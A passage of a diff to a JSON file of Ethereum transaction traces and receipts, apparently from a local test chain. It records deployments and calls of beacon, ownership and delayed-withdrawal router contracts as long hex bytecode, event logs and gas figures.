"0x64cb", "logs": [ { - "address": "0x0165878a594ca255338adfa4d48449f69242eb8f", + "address": "0x5fbdb2315678afecb367f032d93f642f64180aa3", "topics": [ - "0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b", - "0x0000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e0" + "0x8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0", + "0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266", + "0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266" ], "data": "0x" - }, - { - "address": "0x0165878a594ca255338adfa4d48449f69242eb8f", - "topics": [ - "0x7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f" - ], - "data": "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa3" } ], - "logsBloom": "0x00000000000000000000000000000000400000000000000000000000000000000000000000000000000400000000000000400000000000000000000000000000001000000000000000000000000002000000000000000000000000000000400000000000000000000000000000000000000000800000000000000000000000040000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000000000000024000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000000000000000000" + "logsBloom": "0x00000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000040000000000000000100000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000000000000000000040000000200000000000000000000000002000000000000000000000000000000000000000000000000000000000000000000000000000000000000000" }, - "block_hash": "0x1ff38862b4e1a20e1c613d101727ece9f658c7a6f5f12eb1f9141139574be097", - "block_number": 3 + "block_hash": "0x862d86059782d813228eeca6e42482fd07d3baf164c47520b0953001dfb46af9", + "block_number": 28 }, { "info": { - "transaction_hash": "0xf63348d9d494abf9775ab12c8f00d13e58abb43735511d6fbdcbc50bdfbfdd46", - "transaction_index": 1, + "transaction_hash": "0xd44073f051108c8f3c39edf183d0bcaea084672b414c2374c6d6750e9ef9fa27", + "transaction_index": 0, "from": "0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266", - "to": null, - "contract_address": "0xb7f8bc63bbcad18155201308c8f3540b07f84f5e", + "to": "0xdc64a140aa3e981100a9beca4e685f962f0cf6c9", + "contract_address": null, "traces": [ { "parent": null, - "children": [], + "children": [ + 1 + ], "idx": 0, "trace": { "depth": 0, "success": true, "caller": "0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266", - "address": "0xb7f8bc63bbcad18155201308c8f3540b07f84f5e", - "maybe_precompile": false, + "address": "0xdc64a140aa3e981100a9beca4e685f962f0cf6c9", + "maybe_precompile": null, "selfdestruct_address": null, "selfdestruct_refund_target": null, "selfdestruct_transferred_value": null, - "kind": "CREATE", + "kind": "CALL", "value": "0x0", - "data": "0x608060405234801561001057600080fd5b506040516104be3803806104be83398101604081905261002f9161013a565b61003833610047565b61004181610097565b5061016a565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b0381163b6101185760405162461bcd60e51b815260206004820152603360248201527f5570677261646561626c65426561636f6e3a20696d706c656d656e746174696f60448201527f6e206973206e6f74206120636f6e747261637400000000000000000000000000606482015260840160405180910390fd5b600180546001600160a01b0319166001600160a01b0392909216919091179055565b60006020828403121561014c57600080fd5b81516001600160a01b038116811461016357600080fd5b9392505050565b610345806101796000396000f3fe608060405234801561001057600080fd5b50600436106100575760003560e01c80633659cfe61461005c5780635c60da1b14610071578063715018a61461009a5780638da5cb5b146100a2578063f2fde38b146100b3575b600080fd5b61006f61006a3660046102df565b6100c6565b005b6001546001600160a01b03165b6040516001600160a01b03909116815260200160405180910390f35b61006f61010e565b6000546001600160a01b031661007e565b61006f6100c13660046102df565b610122565b6100ce6101a0565b6100d7816101fa565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b6101166101a0565b610120600061028f565b565b61012a6101a0565b6001600160a01b0381166101945760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b61019d8161028f565b50565b6000546001600160a01b031633146101205760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161018b565b6001600160a01b0381163b61026d5760405162461bcd60e51b815260206004820152603360248201527f5570677261646561626c65426561636f6e3a20696d706c656d656e746174696f6044820152721b881a5cc81b9bdd08184818dbdb9d1c9858dd606a1b606482015260840161018b565b600180546001600160a01b0319166001600160a01b0392909216919091179055565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000602082840312156102f157600080fd5b81356001600160a01b038116811461030857600080fd5b939250505056fea26469706673582212209176cbc732e35579ce4ae7c873e9cf0d842b9c03ed71928415a44a507cb220b364736f6c634300081c0033000000000000000000000000610178da211fef7d417bc0e6fed39f05609ad788", - "output": "0x608060405234801561001057600080fd5b50600436106100575760003560e01c80633659cfe61461005c5780635c60da1b14610071578063715018a61461009a5780638da5cb5b146100a2578063f2fde38b146100b3575b600080fd5b61006f61006a3660046102df565b6100c6565b005b6001546001600160a01b03165b6040516001600160a01b03909116815260200160405180910390f35b61006f61010e565b6000546001600160a01b031661007e565b61006f6100c13660046102df565b610122565b6100ce6101a0565b6100d7816101fa565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b6101166101a0565b610120600061028f565b565b61012a6101a0565b6001600160a01b0381166101945760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b61019d8161028f565b50565b6000546001600160a01b031633146101205760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161018b565b6001600160a01b0381163b61026d5760405162461bcd60e51b815260206004820152603360248201527f5570677261646561626c65426561636f6e3a20696d706c656d656e746174696f6044820152721b881a5cc81b9bdd08184818dbdb9d1c9858dd606a1b606482015260840161018b565b600180546001600160a01b0319166001600160a01b0392909216919091179055565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000602082840312156102f157600080fd5b81356001600160a01b038116811461030857600080fd5b939250505056fea26469706673582212209176cbc732e35579ce4ae7c873e9cf0d842b9c03ed71928415a44a507cb220b364736f6c634300081c0033", - "gas_used": 216356, - "gas_limit": 302820, + "data": "0xdf5b3547000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000001000000000000000000000000c5a5c42992decbae36851359345fe25997f5c42d00000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000", + "output": "0x", + "gas_used": 38658, + "gas_limit": 66767, "status": "Return", "steps": [], "decoded": { @@ -5523,15 +5666,60 @@ "call_data": null } }, + "logs": [], + "ordering": [ + { + "Call": 0 + } + ] + }, + { + "parent": 0, + "children": [], + "idx": 1, + "trace": { + "depth": 1, + "success": true, + "caller": "0xdc64a140aa3e981100a9beca4e685f962f0cf6c9", + "address": "0x0dcd1bf9a1b36ce34237eeafef220932846bcd82", + "maybe_precompile": null, + "selfdestruct_address": null, + "selfdestruct_refund_target": null, + "selfdestruct_transferred_value": null, + "kind": "DELEGATECALL", + "value": "0x0", + "data": "0xdf5b3547000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000001000000000000000000000000c5a5c42992decbae36851359345fe25997f5c42d00000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000", + "output": "0x", + "gas_used": 31336, + "gas_limit": 58554, + "status": "Stop", + "steps": [], + "decoded": { + "label": null, + "return_data": null, + "call_data": null + } + }, "logs": [ { "raw_log": { "topics": [ - "0x8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0", - "0x0000000000000000000000000000000000000000000000000000000000000000", - "0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266" + "0x0c35b17d91c96eb2751cd456e1252f42a386e524ef9ff26ecc9950859fdc04fe" ], - "data": "0x" + "data": "0x000000000000000000000000c5a5c42992decbae36851359345fe25997f5c42d" + }, + "decoded": { + "name": null, + "params": null + }, + "position": 0 + }, + { + "raw_log": { + "topics": [ + "0x77d930df4937793473a95024d87a98fd2ccb9e92d3c2463b3dacd65d3e6a5786" + ], + "data": "0x000000000000000000000000c5a5c42992decbae36851359345fe25997f5c42d0000000000000000000000000000000000000000000000000000000000000000" }, "decoded": { "name": null, @@ -5543,42 +5731,50 @@ "ordering": [ { "Log": 0 + }, + { + "Log": 1 } ] } ], "exit": "Return", - "out": "0x608060405234801561001057600080fd5b50600436106100575760003560e01c80633659cfe61461005c5780635c60da1b14610071578063715018a61461009a5780638da5cb5b146100a2578063f2fde38b146100b3575b600080fd5b61006f61006a3660046102df565b6100c6565b005b6001546001600160a01b03165b6040516001600160a01b03909116815260200160405180910390f35b61006f61010e565b6000546001600160a01b031661007e565b61006f6100c13660046102df565b610122565b6100ce6101a0565b6100d7816101fa565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b6101166101a0565b610120600061028f565b565b61012a6101a0565b6001600160a01b0381166101945760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b61019d8161028f565b50565b6000546001600160a01b031633146101205760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161018b565b6001600160a01b0381163b61026d5760405162461bcd60e51b815260206004820152603360248201527f5570677261646561626c65426561636f6e3a20696d706c656d656e746174696f6044820152721b881a5cc81b9bdd08184818dbdb9d1c9858dd606a1b606482015260840161018b565b600180546001600160a01b0319166001600160a01b0392909216919091179055565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000602082840312156102f157600080fd5b81356001600160a01b038116811461030857600080fd5b939250505056fea26469706673582212209176cbc732e35579ce4ae7c873e9cf0d842b9c03ed71928415a44a507cb220b364736f6c634300081c0033", - "nonce": 11, - "gas_used": 288554 + "out": "0x", + "nonce": 30, + "gas_used": 60778 }, "receipt": { "type": "0x2", "status": "0x1", - "cumulativeGasUsed": "0x537880", + "cumulativeGasUsed": "0xed6a", "logs": [ { - "address": "0xb7f8bc63bbcad18155201308c8f3540b07f84f5e", + "address": "0xdc64a140aa3e981100a9beca4e685f962f0cf6c9", "topics": [ - "0x8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0", - "0x0000000000000000000000000000000000000000000000000000000000000000", - "0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266" + "0x0c35b17d91c96eb2751cd456e1252f42a386e524ef9ff26ecc9950859fdc04fe" ], - "data": "0x" + "data": "0x000000000000000000000000c5a5c42992decbae36851359345fe25997f5c42d" + }, + { + "address": "0xdc64a140aa3e981100a9beca4e685f962f0cf6c9", + "topics": [ + "0x77d930df4937793473a95024d87a98fd2ccb9e92d3c2463b3dacd65d3e6a5786" + ], + "data": "0x000000000000000000000000c5a5c42992decbae36851359345fe25997f5c42d0000000000000000000000000000000000000000000000000000000000000000" } ], - "logsBloom": "0x00000000100000000000000000000000000000000040000000800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001800000000000000000000000000000000000020000000000000100000800000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000000000000002000000000000000000020000000000000000000000000000000000000000000000000000000000000000000" + "logsBloom": "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000002000000000000000000000000000000000000000000000000000000100000004000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000020000800000000000000000000000000000000000000000000000000000001000000000100000000000000" }, - "block_hash": "0xcc97307be35f5f2699f45dfdf7700f341711b7411b59bdda05f72078f8d49333", - "block_number": 7 + "block_hash": "0x6dcef61d3021154dfd67a56239012afd35bb197a191911c1915a337125415b29", + "block_number": 27 }, { "info": { - "transaction_hash": "0x3738015081d40ba03e6a0e030338a2f38282eadb22700ec871dae465fbc46873", - "transaction_index": 1, + "transaction_hash": "0x804ce4e2fea65a47a6bcaf0436b386ad347c7083ad0ef319a04f97eb627952a2", + "transaction_index": 0, "from": "0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266", "to": null, - "contract_address": "0x68b1d87f95878fe05b998f19b66f4baba5de1aed", + "contract_address": "0xa51c1fc2f0d1a1b8494ed1fe312d7c3a78ed91c0", "traces": [ { "parent": null, @@ -5588,17 +5784,17 @@ "depth": 0, "success": true, "caller": "0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266", - "address": "0x68b1d87f95878fe05b998f19b66f4baba5de1aed", + "address": "0xa51c1fc2f0d1a1b8494ed1fe312d7c3a78ed91c0", "maybe_precompile": false, "selfdestruct_address": null, "selfdestruct_refund_target": null, "selfdestruct_transferred_value": null, "kind": "CREATE", "value": "0x0", - "data": "0x60a060405234801561001057600080fd5b50604051611eb9380380611eb983398101604081905261002f9161019c565b6001600160a01b0381166100c55760405162461bcd60e51b815260206004820152604c60248201527f44656c617965645769746864726177616c526f757465722e636f6e737472756360448201527f746f723a205f656967656e506f644d616e616765722063616e6e6f742062652060648201526b7a65726f206164647265737360a01b608482015260a4015b60405180910390fd5b6001600160a01b0381166080526100da6100e0565b506101cc565b600054610100900460ff16156101485760405162461bcd60e51b815260206004820152602760248201527f496e697469616c697a61626c653a20636f6e747261637420697320696e697469604482015266616c697a696e6760c81b60648201526084016100bc565b60005460ff908116101561019a576000805460ff191660ff9081179091556040519081527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b565b6000602082840312156101ae57600080fd5b81516001600160a01b03811681146101c557600080fd5b9392505050565b608051611ccb6101ee600039600081816101fa0152610be00152611ccb6000f3fe60806040526004361061014b5760003560e01c806385594e58116100b6578063e4f4f8871161006f578063e4f4f887146103cc578063e5db06c014610405578063eb990c5914610425578063ecb7cb1b14610445578063f2fde38b14610472578063fabc1cbc1461049257600080fd5b806385594e5814610317578063886f1195146103445780638da5cb5b14610364578063c0db354c14610382578063ca661c0414610395578063d44e1b76146103ac57600080fd5b806350f73e7c1161010857806350f73e7c14610254578063595c6a67146102785780635ac86ab71461028d5780635c975abb146102cd578063715018a6146102e257806375608896146102f757600080fd5b806310d67a2f14610150578063136439dd146101725780631f39d87f146101925780633e1de008146101c85780634665bcda146101e85780634d50f9a414610234575b600080fd5b34801561015c57600080fd5b5061017061016b366004611948565b6104b2565b005b34801561017e57600080fd5b5061017061018d36600461196c565b61056e565b34801561019e57600080fd5b506101b26101ad366004611948565b6106ad565b6040516101bf91906119a3565b60405180910390f35b3480156101d457600080fd5b506101b26101e3366004611948565b610893565b3480156101f457600080fd5b5061021c7f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b0390911681526020016101bf565b34801561024057600080fd5b5061017061024f36600461196c565b6109ce565b34801561026057600080fd5b5061026a60c95481565b6040519081526020016101bf565b34801561028457600080fd5b506101706109df565b34801561029957600080fd5b506102bd6102a83660046119f1565b609854600160ff9092169190911b9081161490565b60405190151581526020016101bf565b3480156102d957600080fd5b5060985461026a565b3480156102ee57600080fd5b50610170610aa6565b34801561030357600080fd5b506102bd610312366004611a14565b610aba565b34801561032357600080fd5b50610337610332366004611a14565b610b3d565b6040516101bf9190611a40565b34801561035057600080fd5b5060975461021c906001600160a01b031681565b34801561037057600080fd5b506033546001600160a01b031661021c565b610170610390366004611a4e565b610bbd565b3480156103a157600080fd5b5061026a62034bc081565b3480156103b857600080fd5b506101706103c736600461196c565b610e7c565b3480156103d857600080fd5b5061026a6103e7366004611948565b6001600160a01b0316600090815260ca602052604090206001015490565b34801561041157600080fd5b50610170610420366004611a14565b610f0e565b34801561043157600080fd5b50610170610440366004611a87565b610fa1565b34801561045157600080fd5b50610465610460366004611948565b6110c9565b6040516101bf9190611acd565b34801561047e57600080fd5b5061017061048d366004611948565b611183565b34801561049e57600080fd5b506101706104ad36600461196c565b6111f9565b609760009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610505573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105299190611b25565b6001600160a01b0316336001600160a01b0316146105625760405162461bcd60e51b815260040161055990611b42565b60405180910390fd5b61056b81611355565b50565b60975460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa1580156105b6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105da9190611b8c565b6105f65760405162461bcd60e51b815260040161055990611bae565b6098548181161461066f5760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c69747900000000000000006064820152608401610559565b609881905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d906020015b60405180910390a250565b6001600160a01b038116600090815260ca6020526040812080546001909101546060926106da8383611c0c565b90508060005b8281101561077c576001600160a01b038716600090815260ca6020526040812060010161070d8388611c1f565b8154811061071d5761071d611c32565b6000918252602091829020604080518082019091529101546001600160e01b0381168252600160e01b900463ffffffff1691810182905260c95490925061076391611c1f565b431015610773578192505061077c565b506001016106e0565b508060008167ffffffffffffffff81111561079957610799611c48565b6040519080825280602002602001820160405280156107de57816020015b60408051808201909152600080825260208201528152602001906001900390816107b75790505b50905081156108885760005b82811015610886576001600160a01b038916600090815260ca602052604090206001016108178289611c1f565b8154811061082757610827611c32565b6000918252602091829020604080518082019091529101546001600160e01b0381168252600160e01b900463ffffffff1691810191909152825183908390811061087357610873611c32565b60209081029190910101526001016107ea565b505b979650505050505050565b6001600160a01b038116600090815260ca6020526040812080546001909101546060926108c08383611c0c565b905060008167ffffffffffffffff8111156108dd576108dd611c48565b60405190808252806020026020018201604052801561092257816020015b60408051808201909152600080825260208201528152602001906001900390816108fb5790505b50905060005b828110156109c4576001600160a01b038716600090815260ca602052604090206001016109558287611c1f565b8154811061096557610965611c32565b6000918252602091829020604080518082019091529101546001600160e01b0381168252600160e01b900463ffffffff169181019190915282518390839081106109b1576109b1611c32565b6020908102919091010152600101610928565b5095945050505050565b6109d661144c565b61056b816114a6565b60975460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa158015610a27573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a4b9190611b8c565b610a675760405162461bcd60e51b815260040161055990611bae565b600019609881905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b610aae61144c565b610ab8600061156e565b565b6001600160a01b038216600090815260ca60205260408120548210801590610b34575060c9546001600160a01b038416600090815260ca60205260409020600101805484908110610b0d57610b0d611c32565b600091825260209091200154610b309190600160e01b900463ffffffff16611c1f565b4310155b90505b92915050565b60408051808201909152600080825260208201526001600160a01b038316600090815260ca60205260409020600101805483908110610b7e57610b7e611c32565b6000918252602091829020604080518082019091529101546001600160e01b0381168252600160e01b900463ffffffff16918101919091529392505050565b60405163a38406a360e01b81526001600160a01b038084166004830152839133917f0000000000000000000000000000000000000000000000000000000000000000169063a38406a390602401602060405180830381865afa158015610c27573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c4b9190611b25565b6001600160a01b031614610cc75760405162461bcd60e51b815260206004820152603d60248201527f44656c617965645769746864726177616c526f757465722e6f6e6c794569676560448201527f6e506f643a206e6f7420706f644f776e6572277320456967656e506f640000006064820152608401610559565b609854600090600190811603610cef5760405162461bcd60e51b815260040161055990611c5e565b6001600160a01b038316610d855760405162461bcd60e51b815260206004820152605160248201527f44656c617965645769746864726177616c526f757465722e637265617465446560448201527f6c617965645769746864726177616c3a20726563697069656e742063616e6e6f60648201527074206265207a65726f206164647265737360781b608482015260a401610559565b346001600160e01b03811615610e75576040805180820182526001600160e01b03808416825263ffffffff43811660208085019182526001600160a01b038a16600081815260ca8352968720600190810180548083018255818a5293892088519551909616600160e01b029490961693909317939091019290925593525490917fb8f1b14c7caf74150801dcc9bc18d575cbeaf5b421943497e409df92c92e0f5991889188918691610e3691611c0c565b604080516001600160a01b0395861681529490931660208501526001600160e01b039091169183019190915260608201526080015b60405180910390a1505b5050505050565b600260655403610ece5760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610559565b6002606555609854600090600190811603610efb5760405162461bcd60e51b815260040161055990611c5e565b610f0533836115c0565b50506001606555565b600260655403610f605760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610559565b6002606555609854600090600190811603610f8d5760405162461bcd60e51b815260040161055990611c5e565b610f9783836115c0565b5050600160655550565b600054610100900460ff1615808015610fc15750600054600160ff909116105b80610fdb5750303b158015610fdb575060005460ff166001145b61103e5760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b6064820152608401610559565b6000805460ff191660011790558015611061576000805461ff0019166101001790555b61106a8561156e565b611074848461172b565b61107d826114a6565b8015610e75576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15050505050565b6040805180820190915260008152606060208201526001600160a01b038216600090815260ca6020908152604080832081518083018352815481526001820180548451818702810187019095528085529195929486810194939192919084015b8282101561117557600084815260209081902060408051808201909152908401546001600160e01b0381168252600160e01b900463ffffffff1681830152825260019092019101611129565b505050915250909392505050565b61118b61144c565b6001600160a01b0381166111f05760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610559565b61056b8161156e565b609760009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa15801561124c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112709190611b25565b6001600160a01b0316336001600160a01b0316146112a05760405162461bcd60e51b815260040161055990611b42565b60985419811960985419161461131e5760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c69747900000000000000006064820152608401610559565b609881905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c906020016106a2565b6001600160a01b0381166113e35760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b608482015260a401610559565b609754604080516001600160a01b03928316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a1609780546001600160a01b0319166001600160a01b0392909216919091179055565b6033546001600160a01b03163314610ab85760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610559565b62034bc081111561152d5760405162461bcd60e51b815260206004820152604560248201527f44656c617965645769746864726177616c526f757465722e5f7365745769746860448201527f64726177616c44656c6179426c6f636b733a206e657756616c756520746f6f206064820152646c6172676560d81b608482015260a401610559565b60c95460408051918252602082018390527f4ffb00400574147429ee377a5633386321e66d45d8b14676014b5fa393e61e9e910160405180910390a160c955565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b038216600090815260ca602052604081208054600190910154825b84811080156115f95750816115f78285611c1f565b105b156116a6576001600160a01b038616600090815260ca602052604081206001016116238386611c1f565b8154811061163357611633611c32565b6000918252602091829020604080518082019091529101546001600160e01b0381168252600160e01b900463ffffffff1691810182905260c95490925061167991611c1f565b43101561168657506116a6565b805161169b906001600160e01b031686611c1f565b9450506001016115e2565b6116b08184611c1f565b6001600160a01b038716600090815260ca602052604090205583156116d9576116d98685611815565b7f6b7151500bd0b5cc211bcc47b3029831b769004df4549e8e1c9a69da05bb094386856117068487611c1f565b604080516001600160a01b039094168452602084019290925290820152606001610e6b565b6097546001600160a01b031615801561174c57506001600160a01b03821615155b6117ce5760405162461bcd60e51b815260206004820152604760248201527f5061757361626c652e5f696e697469616c697a655061757365723a205f696e6960448201527f7469616c697a6550617573657228292063616e206f6e6c792062652063616c6c6064820152666564206f6e636560c81b608482015260a401610559565b609881905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a261181182611355565b5050565b804710156118655760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e63650000006044820152606401610559565b6000826001600160a01b03168260405160006040518083038185875af1925050503d80600081146118b2576040519150601f19603f3d011682016040523d82523d6000602084013e6118b7565b606091505b505090508061192e5760405162461bcd60e51b815260206004820152603a60248201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260448201527f6563697069656e74206d617920686176652072657665727465640000000000006064820152608401610559565b505050565b6001600160a01b038116811461056b57600080fd5b60006020828403121561195a57600080fd5b813561196581611933565b9392505050565b60006020828403121561197e57600080fd5b5035919050565b80516001600160e01b0316825260209081015163ffffffff16910152565b602080825282518282018190526000918401906040840190835b818110156119e6576119d0838551611985565b60209390930192604092909201916001016119bd565b509095945050505050565b600060208284031215611a0357600080fd5b813560ff8116811461196557600080fd5b60008060408385031215611a2757600080fd5b8235611a3281611933565b946020939093013593505050565b60408101610b378284611985565b60008060408385031215611a6157600080fd5b8235611a6c81611933565b91506020830135611a7c81611933565b809150509250929050565b60008060008060808587031215611a9d57600080fd5b8435611aa881611933565b93506020850135611ab881611933565b93969395505050506040820135916060013590565b6020808252825182820152828101516040808401528051606084018190526000929190910190829060808501905b808310156109c457611b0e828551611985565b604082019150602084019350600183019250611afb565b600060208284031215611b3757600080fd5b815161196581611933565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b600060208284031215611b9e57600080fd5b8151801515811461196557600080fd5b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b606082015260800190565b634e487b7160e01b600052601160045260246000fd5b81810381811115610b3757610b37611bf6565b80820180821115610b3757610b37611bf6565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b60208082526019908201527f5061757361626c653a20696e646578206973207061757365640000000000000060408201526060019056fea264697066735822122006da243d7e477e428ad2745c456c9ef84e039e1a55dc000ea6c524cb236906b864736f6c634300081c00330000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe6", - "output": "0x60806040526004361061014b5760003560e01c806385594e58116100b6578063e4f4f8871161006f578063e4f4f887146103cc578063e5db06c014610405578063eb990c5914610425578063ecb7cb1b14610445578063f2fde38b14610472578063fabc1cbc1461049257600080fd5b806385594e5814610317578063886f1195146103445780638da5cb5b14610364578063c0db354c14610382578063ca661c0414610395578063d44e1b76146103ac57600080fd5b806350f73e7c1161010857806350f73e7c14610254578063595c6a67146102785780635ac86ab71461028d5780635c975abb146102cd578063715018a6146102e257806375608896146102f757600080fd5b806310d67a2f14610150578063136439dd146101725780631f39d87f146101925780633e1de008146101c85780634665bcda146101e85780634d50f9a414610234575b600080fd5b34801561015c57600080fd5b5061017061016b366004611948565b6104b2565b005b34801561017e57600080fd5b5061017061018d36600461196c565b61056e565b34801561019e57600080fd5b506101b26101ad366004611948565b6106ad565b6040516101bf91906119a3565b60405180910390f35b3480156101d457600080fd5b506101b26101e3366004611948565b610893565b3480156101f457600080fd5b5061021c7f0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe681565b6040516001600160a01b0390911681526020016101bf565b34801561024057600080fd5b5061017061024f36600461196c565b6109ce565b34801561026057600080fd5b5061026a60c95481565b6040519081526020016101bf565b34801561028457600080fd5b506101706109df565b34801561029957600080fd5b506102bd6102a83660046119f1565b609854600160ff9092169190911b9081161490565b60405190151581526020016101bf565b3480156102d957600080fd5b5060985461026a565b3480156102ee57600080fd5b50610170610aa6565b34801561030357600080fd5b506102bd610312366004611a14565b610aba565b34801561032357600080fd5b50610337610332366004611a14565b610b3d565b6040516101bf9190611a40565b34801561035057600080fd5b5060975461021c906001600160a01b031681565b34801561037057600080fd5b506033546001600160a01b031661021c565b610170610390366004611a4e565b610bbd565b3480156103a157600080fd5b5061026a62034bc081565b3480156103b857600080fd5b506101706103c736600461196c565b610e7c565b3480156103d857600080fd5b5061026a6103e7366004611948565b6001600160a01b0316600090815260ca602052604090206001015490565b34801561041157600080fd5b50610170610420366004611a14565b610f0e565b34801561043157600080fd5b50610170610440366004611a87565b610fa1565b34801561045157600080fd5b50610465610460366004611948565b6110